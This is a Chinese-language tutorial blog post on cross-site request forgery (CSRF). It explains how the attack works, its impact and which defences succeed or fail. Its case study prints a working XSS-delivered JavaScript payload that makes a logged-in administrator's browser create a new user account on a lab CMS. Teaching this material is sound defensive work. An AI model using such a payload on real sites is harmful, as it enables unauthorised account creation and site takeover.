CSRF 跨站请求伪造漏洞理解

1.漏洞描述

        跨站请求伪造是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作,攻击的重点在处于更改状态请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

2.漏洞原理

        攻击者可以伪造当前已经登录用户的身份访问正常的网站,执行非本意的操作。正常的网站,没有对来源请求进行严格的验证和过滤,导致攻击者可以伪造正常用户的请求,达到攻击的目的。        

3.漏洞场景

        在特殊场景下,客户端向服务器发起更改状态的请求,容易产生CSRF漏洞。

常见场景:

  • 银行转账
  • 修改密码

4.漏洞评级

⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐        高危

5.漏洞危害

攻击者借用正常用户的身份,发起更改状态的请求,如:

  • 银行转账
  • 修改密码
  • 修改邮箱
  • 群发消息
  • 与XSS漏洞结合创建网站后台管理员账号
  • ...

6.漏洞验证

7.漏洞利用

  • DVWA重置当前用户密码
  • CMS创建新管理员

8.漏洞防御

1)无效的防御:

  • 使用密码的Cookie。
  • 将接受POST请求。
  • 多步交易:多步交易,有可能会被恶意攻击者预测
  • URL重写:用户的身份信息会暴露在URL中,不建议通过引用另一个漏洞解决当前漏洞
  • HTTPS:所以安全机制的前提。

2)有效的防御:

a.

验证Referer字段

  • 当前URL的上一个URL。
  • 转账页面到转账操作
  • 伪造?

b.

二次验证:在关键操作之前,在输入密码或者验证码。

c.

添加Token 验证:

d.

HttpOnly:某些情况下禁止 JS 脚本访问

e.

SameSite:Cookie 属性,浏览器自带安全机制。

9.典型案例

1)CMS创建新用户

方法:攻击者可以利用 XSS 触发 CSRF 攻击。因为,可以利用 JS 发送 HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.9.47.44/cms/admin/user.action.php",fal
se);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-
urlencoded");
xmlhttp.send("act=add&username=wj33333&password=123456&password2=123456
&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

前提:

我们发现CSM网站留言板存在xss漏洞

a.第一步:

  • 填写留言板并提交。

b.第二步:

  • 模仿管理员管理留言板。
  • 管理员登录账号

  • 查看留言板

到这里就已经完成了添加用户。

  • 查看管理员账号,发现是我们添加的账号

  • 登录

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/179154.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

性能测试场景的设计方法

作者&#xff5c;李文&#xff0c;自如-质量中心 来源&#xff5c;自如技术公众号 背景 引用&#xff1a;根据2008年Aberdeen Group的研究报告&#xff0c;对于Web网站&#xff0c;1秒的页面加载延迟相当于少了11%的PV&#xff08;page view&#xff09;&#xff0c;相当于降低…

FDTD自定义材料

官方原文档链接 该文档内容摘自原文档及相关链接 从txt导入材料数据 各项同性材料的3Dmaterials数据 txt文件中应包含以下三列。第一列为波长或频率&#xff1b;第二列为折射率或介电常数实部&#xff1b;第三列为折射率或介电常数虚部。 420 5.08894 0.237724 440 4.78…

深度学习100例-卷积神经网络(CNN)实现mnist手写数字识别 | 第1天

文章目录 前期工作1. 设置GPU&#xff08;如果使用的是CPU可以忽略这步&#xff09;我的环境&#xff1a; 2. 导入数据3.归一化4.可视化5.调整图片格式 二、构建CNN网络模型三、编译模型四、训练模型五、预测六、知识点详解1. MNIST手写数字数据集介绍2. 神经网络程序说明3. 网…

利用Vue+Echarts完成可视化任务

文章目录 任务一&#xff1a;用柱状图展示消费额最高的省份&#xff08;一&#xff09;提出任务&#xff08;二&#xff09;准备工作1、利用postman访问接口数据2、安装node.js3、输入更换镜像源为淘宝源4、清除npm缓存5、安装vue脚手架 任务一&#xff1a;用柱状图展示消费额最…

2023.11.14 hivesql的容器,数组与映射

目录 https://blog.csdn.net/m0_49956154/article/details/134365327?spm1001.2014.3001.5501https://blog.csdn.net/m0_49956154/article/details/134365327?spm1001.2014.3001.5501 8.hive的复杂类型 9.array类型: 又叫数组类型,存储同类型的单数据的集合 10.struct类型…

Kylin-Server-V10-SP3+Gbase+宝兰德信创环境搭建

目录 一、Kylin-Server-V10-SP3 安装1.官网下载安装包2.创建 VMware ESXi 虚拟机3.加载镜像&#xff0c;安装系统 二、Gbase 安装1.下载 Gbase 安装包2.创建组和用户、设置密码3.创建目录4.解压包5.安装6.创建实例7.登录8.常见问题 三、宝兰德安装1.获取安装包2.解压安装3.启动…

M系列 Mac使用Homebrew下载配置git和连接GitHub

一、首先我们需要安装Homebrew M系列 Mac安装配置Homebrewhttps://blog.csdn.net/W_Fe5/article/details/134428377?spm1001.2014.3001.5501 二、下载git 1、终端输入一下命令 brew install git 2、这时下载完成 二、配置git 1、创建用户名和邮箱 这里以我自己的邮箱举例…

kubernetes资源管理

资源管理 资源管理介绍 在kubernetes中&#xff0c;所有的内容都抽象为资源&#xff0c;用户需要通过操作资源来管理kubernetes。 kubernetes的本质上就是一个集群系统&#xff0c;用户可以在集群中部署各种服务&#xff0c;所谓的部署服务&#xff0c;其实就是在kubernetes集…

甲方与三方渗透团队的协作注意点

文章目录 以下是优化后的内容&#xff1a; 作为甲方安全团队主导的渗透攻击&#xff0c;以下几点需要注意&#xff1a; 预备充分 与测试团队协调&#xff0c;提供乙方攻击所需的必要资源&#xff0c;以及具有甲方特色的资源。例如&#xff0c;如果认为自己的权限系统需要重点评…

应用协议安全:Rsync-common 未授权访问.

应用协议安全&#xff1a;Rsync-common 未授权访问. Rsync 是 Linux 下一款数据备份工具&#xff0c;支持通过 rsync 协议、ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口&#xff0c;如果目标开启了 rsync 服务&#xff0c;并且没有配置 ACL 或访问密码&#…

谷粒商城项目-环境配置

安装vegrant 2.2.18 注意vritual box&#xff08;6.1.30&#xff09;和vegrant版本兼容 初始化和创建虚拟机 vagrant init centos/7 vagrant up连接虚拟机 vegrant ssh解决vagrant up速度过慢问题 https://app.vagrantup.com/centos/boxes/7/versions/2004.01直接下载对应镜像…

汽车FMCW毫米波雷达信号处理流程(推荐---基础详细---清楚的讲解了雷达的过程---强烈推荐)------假设每个Chirp采集M个样本点

毫米波雷达在进行多目标检测时,TX发射一个Chirp,在不同距离下RX会接收到多个反射Chirp信号(仅以单个chirp为例)。 雷达通过接收不同物体的发射信号,并转为IF信号,利用傅里叶变换将产生一个具有不同的分离峰值的频谱,每个峰值表示在特定距离处存在物体。 请问,这种多目标…